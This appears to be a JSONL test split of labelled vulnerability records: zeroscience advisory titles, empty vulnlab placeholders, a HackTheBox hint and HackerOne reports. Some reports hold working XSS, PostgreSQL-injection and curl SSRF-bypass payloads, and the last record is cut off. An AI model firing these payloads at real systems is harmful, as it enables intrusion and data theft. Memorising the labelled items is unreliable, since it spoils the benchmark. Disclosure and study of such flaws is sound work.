{"id": "0f2cde686b5ca46a07fb", "text": "ABB Cylon FLXeon 9.3.4 (app.js) Insecure CORS Configuration\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-02-13", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "b5e2fe119cd01f6ea4dd", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "263421f9bb9aaa9b30a4", "text": "===============\n\nClass: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "1b98a57a1d1368eaf0d8", "text": "TELSAT marKoni FM Transmitter 1.9.5 Root Command Injection PoC Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-01-30", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d5fdcd9d019e1678f182", "text": "Deep Sea Electronics DSE855 Remote Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-07-03", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "b4a29a775d95e05c6976", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d8707bd364b8f4483d11", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS via Keycloak on ███ [CVE-2021-20323]\n\nKeycloak 8.0 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks. A lack of proper input validation made it possible for an attacker to execute malicious JavaScript code on https://██████████/auth/realms/master/clients-registrations/openid-connect This reflected XSS would execute after making a POST request with an XSS payload in the path of the request. As a result, the server would directly insert the payload into the response, allowing the XSS to trigger on the page.\nReferences\nhttps://cure53.de/pentest-report_keycloak.pdf\nhttps://hackerone.com/reports/87040\nPOC:\n```\nPOST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1\nHost: █████\nSec-Ch-Ua: \nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\nContent-Type: application/json;charset=UTF-8\nContent-Length: 63\n\n{\"<img onerror=confirm('xss_poc_unexpectedbufferc0n') src/>\":1}\n```\n\n## Impact\n\nIf successful, a cross site scripting attack can severely impact websites and web applications, damage their reputation and relationships with customers. XXS can deface websites, can result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user's device.\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nrun POC\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2024-05-03", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "eae8c22b9735e298bf0b", "text": "ABB Cylon Aspect 3.08.00 (sslCertAjax.php) Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-14", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "235c35b4b11cbdce28b3", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "dcc5f251071ebfd8606c", "text": "Ilevia EVE X1/X5 Server 4.7.18.0.eden Authentication Bypass Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-08-26", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "cbdd01d72cceefbb6a4a", "text": "ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) File Deletion\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "66e437f7ab09d9aa3599", "text": "ABB Cylon FLXeon 9.3.5 (siteGuide.js) Authenticated Directory Traversal\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-19", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "746e0b4c5e29e91481e3", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "28d15d43388cc56cf9c1", "text": "Tattile Cameras 1.181.5 Use of Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2026-02-24", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "fae862778a022f12f301", "text": "Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "863d3eb2de03e700e033", "text": "ABB Cylon Aspect 3.08.01 (jsonProxy.php) Denial of Service\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-30", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "19a8c09653ad8108a810", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "2bf08c3d5b5799447aae", "text": "ABB Cylon Aspect 3.08.00 (syslogSwitch.php) Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-07", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "e764ad13fcf6546bb948", "text": "Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "175389954ba38664c03a", "text": "ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "a5f4f65f841e0a750be8", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "aedf4f472b1264549e18", "text": "ABB Cylon Aspect 3.08.02 (CookieDB) SQL Injection\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "7da5dbbc7437b8d88c79", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "2a58b7adf6e815d2e7c4", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "4717ed68516bd68d2a27", "text": "Ilevia EVE X1/X5 Server 4.7.18.0.eden Insecure Hashing Algorithm\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-11-06", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "54113f74913096a49e67", "text": "Pachno 1.0.6 Stored Cross-Site Scripting\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "8261846b0c013abfee09", "text": "[Business Logic Errors] Ability to getting Twitter Blue verified badge without purchase it\n\n**Summary:** \n\nHi there. In this report, I submit a bug about getting Twitter Blue verified badge without purchasing it. \n\n## Steps To Reproduce:\n\n1. First, you should buy a Twitter Blue subscription for your account. \n2. Change the profile photo of your Twitter account 1 day before your Twitter Blue subscription expires.\n3. Check your Twitter profile and ensure your verified badge is gone for review by the Twitter team. (note that, this review will take 1-2 days but it might be good to check from time to time if your account has been reviewed - if it's reviewed and your verified badge is there, you should change again your profile picture before your Twitter Blue subscription is expired)\n4. Go to the `App Store` -> `Your App Store Account` > `Subscriptions` section and cancel your Twitter Blue subscription.\n5. You should wait one day for your subscription to expire. (please read the note written in step 3)\n6. After the subscription expired, try change to your account details if your verified badge still is not there. You'll get a message about your Twitter account is still under review.\n\nNow you have to wait for 2-3 days (no eta about review times but it takes at least 3 days) then the Twitter team will give back your verified badge even your Twitter Blue subscription is expired.\n\n## Impact: \n\nThis can harm financial damages to the Twitter team, and malicious actors can't be tracked since they do not pay for the Blue subscription. \n\n## Supporting Material/References:\n\nI recorded this video on PC, and showed that I can't edit any new tweet and I'm no longer a Twitter Blue subscriber :\n\n███\n\nI recorded this video on my iPhone device, and showed that I can't edit any new tweet, I'm no longer a Twitter Blue subscriber and went to my Subscriptions section on App Store to show my Twitter Blue subscription is ended on January 13 2023  :\n\n█████\n\n## Impact\n\nThis can harm financial damages to Twitter, Inc., and malicious actors can't be tracked since they do not pay for the Blue subscription.", "source": "hackerone", "timestamp": "2024-02-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "5a199fbe5120f4245f9e", "text": "[Unknown] Sensitive information disclosure on grafana\n\n## Summary:\n\nWhile running through scan I got some endpoints on jetblue subdomains which discloses sensitive information. I know these are out of scope but I think it is necessary to report them\n\n## Steps To Reproduce:\n\n  1. Visit the urls in browser\n\n`https://████.jetblue.com/metrics`\n\n███\n\nDiscloses  grafana metrics  to unauthorized users\n\n```\nhttps://█████████.jetblue.com/sap/public/info\nhttps://████.jetblue.com/sap/public/info\n```\n\n██████\n\nDisclose sensitive information about SAP  such as internal IP address and OS\n\n`https://███████.travelproducts.jetblue.com/`\n\n███████\n\naws bucket listing is enabled which discloses sensitive endpoints to unauthorized users\n\n## Impact\n\nUnauthorized user can access sensitive info about server resources.", "source": "hackerone", "timestamp": "2024-02-26", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "bc02a8b9e10ea8e076d3", "text": "ABB Cylon Aspect 3.08.01 (persistenceManagerAjax.php) Directory Traversal\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-10", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "47a419545273633145bf", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "9db704e55c77dea762e3", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d3fdda18f404d84a67dd", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "4d5379cac25f0cc47df1", "text": "ABB Cylon Aspect Studio 3.08.03 (CylonLicence.dll) Binary Planting\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "d7de822a990699b2e1eb", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "892bef45c735d7b80044", "text": "ABB Cylon FLXeon 9.3.4 (serialConfig.js) JSON Object Flooding DoS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-02-08", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "190aa7d39e5adebaf7dc", "text": "[Improper Check for Certificate Revocation] CVE-2024-0853: OCSP verification bypass with TLS session reuse\n\n## Summary:\nIn version 8.5.0, cURL has inadvertently established a pathway for accepting revoked certificates.\nAs a result of [this correction](https://github.com/curl/curl/pull/12418/commits/7cf0391bbc3b5b2e4402ce675124cd73dbe0187e), during TLS session reuse, OCSP stapling verification will be skipped. \nHowever, the TLS session will be preserved regardless of OCSP verification results. \nAs a result, even for revoked certificates, verification is skipped during TLS session reuse.\n\n## Steps To Reproduce:\n  1.Identify sites with revoked certificates.\n  2. `curl (1.URL) (1.URL)--cert-status`\n\nI have prepared an environment for testing. Please use as necessary.\nhttps://ocsptest.ddns.net/\n`curl https://ocsptest.ddns.net/ https://ocsptest.ddns.net/ --cert-status`\nThis website returns only the string \"test.\"\n\n* I have used [this](https://curl.se/windows/dl-8.5.0_3/curl-8.5.0_3-win64-mingw.zip) for testing. \n* To avoid complications with timing dependencies in verification, I have configured the web server to use TLS 1.2.\n     In the case of TLS 1.3, the timing of session preservation is delayed, which appeared to prevent session reuse with the above command line.\n\nHere are the execution results.\n```\nC:\\curl-8.5.0_3-win64-mingw\\bin>curl https://ocsptest.ddns.net/ https://ocsptest.ddns.net/ --cert-status\ncurl: (91) SSL certificate revocation reason: (UNKNOWN) (-1)\ntest\n```\nThe first request becomes error, but the second one unjustly passes through the normal case.\n\n## Impact\n\nBypassing OCSP verification.", "source": "hackerone", "timestamp": "2024-01-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "0fa9b4b27704c1060b4b", "text": "ABB Cylon FLXeon 9.3.4 (login.js) Node Timing Attack\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "c39628383ed84e7eea54", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "107f459c1a825f02dc93", "text": "[Improper Access Control - Generic] Session Doesn't expire after 2fa and also other session can change passsword\n\n## Summary:\nHi team,\nI found one issue related to your 2FA system on https://sidefx.com\n## Steps To Reproduce:\nLogin to the Same account in 2 different browser\nNow on 1st browser go to https://sidefx.com/profile and complete the all steps of 2fa and Enable it | 2FA activated\nNow go to another session or 2nd browser and reload the page.\nThe account doesn't logout session is still alive.\nand now change the password on 2nd browser (which doesn't have 2fa enabled) \nBOOM!\n\n## Impact\n\nIn this scenario when 2FA is activated the other sessions of the account are not invalidated.\n2FA is required to login. I believe the expected and recommended behavior here is to terminate the other sessions> request a new login> request the 2FA code> so then give the account access again", "source": "hackerone", "timestamp": "2024-03-02", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "158c7eadc23c9aa447d2", "text": "Ilevia EVE X1 Server 4.7.18.0.eden (db_log) Pre-Auth File Disclosure\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-07-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a54f9d09c6c145bd1c1d", "text": "[Type Confusion] Incorrect Type Conversion in interpreting IPv4-mapped IPv6 addresses and below `curl` results in indeterminate SSRF vulnerabilities.\n\n## Summary:\nOctal Type Handling of Errors in IPv4 Mapped IPv6 Addresses in curl  allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many programs that rely on curl. \n\n[RFC 4291](https://datatracker.ietf.org/doc/html/rfc4291#section-2-5-5) defines ways to embed an IPv4 address into IPv6 addresses. One of the methods defined in the RFC is to use IPv4-mapped IPv6 addresses, that have the following format:\n\n```\n   |                80 bits               | 16 |      32 bits        |\n   +--------------------------------------+--------------------------+\n   |0000..............................0000|FFFF|    IPv4 address     |\n   +--------------------------------------+----+---------------------+\n```\n\nIn IPv6 notation, the corresponding mapping for `127.0.0.1` is `::ffff:127.0.0.1` ([RFC 4038](https://datatracker.ietf.org/doc/html/rfc4038)). Although curl correctly converts octal numbers starting with 0 in IPv4 format, such as recognizing 0177.0.0.1 as 127.0.0.1, it fails to properly identify the data format of 0127.0.0.1 in IPv4-mapped IPv6 addresses. The curl command automatically removes the leading zeros from IP addresses in the format ::ffff:0127.0.0.1, and sends requests to 127.0.0.1 instead. This behavior can undermine defensive strategies that restrict access to 127.0.0.1, potentially leading to security threats such as Server-Side Request Forgery (SSRF) and Remote Code Execution (RCE) on the server.\n\n## Steps To Reproduce:\n\n### 2.1 Affected components\n\nThe vulnerable component is:\n\n- curl: https://github.com/curl/curl\n- 8.7.1 and below\n\n### 2.2 Attack scenario\n\nA typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URL is passed to the Requester for processing. The Requester is responsible for sending requests to the hostname specified by the URL.\n\n{F3251582}\n\n### 2.3 PoC\n\npayloads:\n\n```\nhttp://[::ffff:0127.000.0.1]/\n```\n\nYou can verify this issue using the sample program below. Simply replace the payload variable in the verify function with the above payload to conduct the test.\n\n```python\ncurl http://[::ffff:0127.000.0.1]/\n```\n\nI set up an HTTP server on my local machine using port 80 with the following Python code. Upon a successful request, the server will return the string \"FindVuln\".\n\n```Python\nfrom flask import Flask\n\napp = Flask(__name__)\n@app.route(\"/\")\ndef index():\n    return \"FindVuln\"\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port=80, threaded=True)\n\n```\n\nFigure 1 illustrates how curl handles IPv4 addresses, while Figure 2 demonstrates curl's processing of IPv4-mapped IPv6 representations.\n\nFigure 1:\n\n{F3251583}\n\nFigure 2:\n\n{F3251584}\n\n## Mitigation\n\nPlease refer to [RFC 4291](https://datatracker.ietf.org/doc/html/rfc4291#section-2-5-5) and [RFC 4038](https://datatracker.ietf.org/doc/html/rfc4038) to fix this function.\n\n## Supporting Material/References:\n\nThis security issue has also been identified in other libraries, and CVE IDs have been assigned. For more information, refer to [1], [2], [3] and [4]. \n\n[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-24329\n\n[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-22243\n\n[3] https://sick.codes/sick-2021-015/\n\n[4] https://sick.codes/sick-2021-016/\n\n## Impact\n\nThe impact of this vulnerability is huge because the `curl`  is widely used. In many cases, developers need a blocklist to block on some IPs. However, the vulnerability will help attackers bypass the protection developers have set up for schemes and hosts. The vulnerability will lead to SSRF[1] and RCE[2] vulnerabilities in several cases. \n\n[1] https://cwe.mitre.org/data/definitions/918.html\n[2] https://cwe.mitre.org/data/definitions/94.html", "source": "hackerone", "timestamp": "2024-05-08", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "e06f1b61784c16d28931", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "fbf3c3ca9554412cdeca", "text": "Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-04-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "388ce244fad9f7effb6f", "text": "ABB Cylon Aspect 3.08.02 (syslogUpdate.php) Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-12-23", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "f974d3b983afd4dfac2f", "text": "ABB Cylon FLXeon 9.3.4 (upload.js) Authenticated Root Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-02", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "8808a206c7395ebf78e3", "text": "There are two cases CASE 1: When you are NOT using PWNBOX When you click on Create a rest token for htbuser , you get date+ HH:MM:SS AM/PM which 90% chance is that it’s NOT in UTC. Then you convert the Time to UTC by UTC to Your Local Time Conversion -- TimeBie (Just have a idea and reverse it) Then the above converted time to epoch [Given a google search for a online converter] Copy the milliseconds CASE 2: When you are USING PWNBOX When you click on Create a rest token for htbuser , you get date + HH:MM:SS AM/PM which is in UTC. Then the above time to epoch [Given a google search for a online converter] Copy the milliseconds After this As per the CVE CVE-2016-0783 ≈ Packet Storm , it is formed by md5(username+timestamp) and then doing hexdigest() . The same can be found on the rest_token_time.py given in the section. But the above script DONOT generate the hash by taking the username as the parameter . So concatenate the username (Rest you know how to add it in the function) Also add start_time with -1000 and end_time with +1000 as all calculations are going in milliseconds. I would highly appreciate @niagoum method and hence you can modify the python script to generate a file token.list and wfuzz to get the token must faster!", "source": "hackthebox", "timestamp": "2024-04-21", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "3d3b22001aebfdc32615", "text": "ABB Cylon Aspect 3.08.01 (jsonProxy.php) Unauthenticated Credentials Disclosure\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-30", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "6ab7e19586eecce05ead", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "6c538b524825189aa42f", "text": "ABB Cylon FLXeon 9.3.4 (runtimeSetup.sh) Hidden Backdoor Account\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-02-07", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "4a33106583d814d62ac4", "text": "===============\n\nClass: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "7dfbfa1736a820e4bc39", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "a3bea795a2df947486e1", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "52654b96472fa952d287", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS via Moodle on ███ [CVE-2022-35653]\n\nHi Security Team\nI found an xss vulnerability on your website [CVE-2022-35653]\nRefrence : https://vulners.com/nuclei/NUCLEI:CVE-2022-35653\nif you wanna  test this :\n```\nid: CVE-2022-35653\n\ninfo:\n  name: Moodle LTI module Reflected - Cross-Site Scripting\n  author: iamnoooob,pdresearch\n  severity: medium\n  description: |\n    A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website to steal potentially sensitive information, change appearance of the web page, can perform phishing and drive-by-download attacks.\n  reference:\n    - http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-72299\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-35653\n    - https://bugzilla.redhat.com/show_bug.cgi?id=2106277\n    - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6MOKYVRNFNAODP2XSMGJ5CRDUZCZKAR3/\n    - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MTKUSFPSYFINSQFSOHDQIDVE6FWBEU6V/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2022-35653\n    cwe-id: CWE-79\n    epss-score: 0.00815\n    epss-percentile: 0.79909\n    cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: moodle\n    product: moodle\n    shodan-query: title:\"Moodle\"\n  tags: cve,cve2022,moodle,xss\n\nhttp:\n  - raw:\n      - |\n        POST /mod/lti/auth.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        xxx\"><img/src%3d'x'onerror%3dalert('document_domain')>=1\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<img/src='x'onerror=alert('document_domain')>\"\n          - \"moodle-editor\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n```\n\n## Impact\n\nIf successful, a cross site scripting attack can severely impact websites and web applications, damage their reputation and relationships with customers. XXS can deface websites, can result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user's device.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nhttps://vulners.com/nuclei/NUCLEI:CVE-2022-35653\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2024-05-03", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d67b67fb54248cf71d6f", "text": "[Improper Certificate Validation] CVE-2024-2379: QUIC certificate check bypass with wolfSSL\n\nSee https://hackerone.com/reports/2410774 or https://curl.se/docs/CVE-2024-2379.html\n\n## Impact\n\nSee https://hackerone.com/reports/2410774 or https://curl.se/docs/CVE-2024-2379.html", "source": "hackerone", "timestamp": "2024-03-29", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "ca1370c3a8b71c93a255", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "ac89430af2a704fc2ac0", "text": "[SQL Injection] SQL Injection on prod.oidc-proxy.prod.webservices.mozgcp.net via invite_code parameter - Mozilla social inscription\n\nHi everyone,\n\nHope you are well ! \n\nI wanted to play on [https://mozilla.social](https://mozilla.social), however this requires a user account and an invitation code as it's not open to the public. When entering an invitation code, the user is redirected to `prod.oidc-proxy.prod.webservices.mozgcp.net`.\n\n{F2773206}\n\nPlaying around with what's on offer, I've noticed that the `invite_code` parameter is vulnerable to a PostgreSQL injection.\n\n## Steps To Reproduce:\n\nDuring registration, the following POST request is made : \n\n```\nPOST /interaction/KTTbkN8LaJgYIb7fIwPYX/signup HTTP/2\nHost: prod.oidc-proxy.prod.webservices.mozgcp.net\nCookie: <session_cookies>\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.9999.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 119\nOrigin: null\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nSec-Ch-Ua-Platform: \"macOS\"\nSec-Ch-Ua: \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\", \"Not=A?Brand\";v=\"24\"\nSec-Ch-Ua-Mobile: ?0\nTe: trailers\n\nhandle=xxx&display_name=xxx&invite_code=xxx-&age=25&terms=on&rules=on\n```\n\nAdding a single quote to the `invite_code` parameter returns a 500 error, and adding a second quote returns a 200. **Red flag**\n\nAfter a few tests, here is a time-based blind payload to confirm the vulnerability : \n\n```\ninvite_code=xxx');(SELECT 4564 FROM PG_SLEEP(5))--\n```\n\n{F2773210}\n\nConfirm with the response from the server - which takes 5 seconds to reply.\n\nNow, 10 seconds : \n\n```\ninvite_code=xxx');(SELECT 4564 FROM PG_SLEEP(10))--\n```\n\n{F2773214}\n\nSame here, 10 secs before getting an answer.\n\n20 sec : \n\n```\ninvite_code=xxx');(SELECT 4564 FROM PG_SLEEP(20))--\n```\n\n{F2773218}\n\netc.\n\n## Impact\n\nFrom [OWASP](https://owasp.org/www-community/attacks/SQL_Injection) : \n\n> A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.\n\nI'm working on a data exfiltration and will update the report as needed.\n\nLooking forward to exchanging.\n\nRegards,\nSupr4s", "source": "hackerone", "timestamp": "2024-01-30", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "3f435d8a9afcad611913", "text": "ABB Cylon Aspect 3.08.02 (editOverride.php) Authentication Bypass MIX Override\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "c9e53286ebdb66d7358e", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "f531c132bd5dac1ca886", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "f458abfc52e24b3c23c8", "text": "[Information Disclosure] # Drivers can access the customers phone number, current location without getting their offer accepted!\n\n## Summary:\nHi Kirill, I wish you are fine today <3\nI have a new bug today, leading to leak the phone number and the location of the customer\nhow? When the **driver** submit an offer/price to the customer, something is getting created called ```“tender”``` ```“id”```\n\n██████████\nThen alittle bit later, another requset is getting sent called ```\"/api/getTenderStatus?\"```\n\nThis request of ```getTender``` is asking for ```order_id=``` & ```tender_id=``` , Which got generated on the ```/api/driverrequest``` request (( as the screen shot ))\n\n## Steps to reproduce:\n\n1. Open the driver’s account, and wait till you get a ride from anyone!\n    \n    ███████\n    \n2. submit any price for the ride you selected\n    \n    ███\n    \n3. Now we can see the request of ```/api/driverrequest```\n    \n    ```\n    POST /api/driverrequest?cid=9415&locale=en_US&job_id=███████ HTTP/1.1\n    Host: terra-6.indriverapp.com\n    X-App: android 5.8.1\n    Content-Type: application/x-www-form-urlencoded\n    Content-Length: 293\n    Accept-Encoding: gzip, deflate\n    User-Agent: okhttp/4.10.0\n    Connection: close\n    \n    phone=█████&token=████&v=7&stream_id=1669551146811201&order_id=█████████&client_id=█████████&████████&type=indriver&price=33&period=2&geo_arrival_time=105&distance=305&███&sn=1\n    ```\n    \n    ```\n    HTTP/1.1 200 OK\n    Server: QRATOR\n    Date: Sun, 27 Nov 2022 